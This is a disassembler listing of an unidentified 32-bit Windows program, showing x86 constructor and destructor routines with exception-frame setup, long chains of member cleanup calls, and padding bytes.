sub_4167F0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
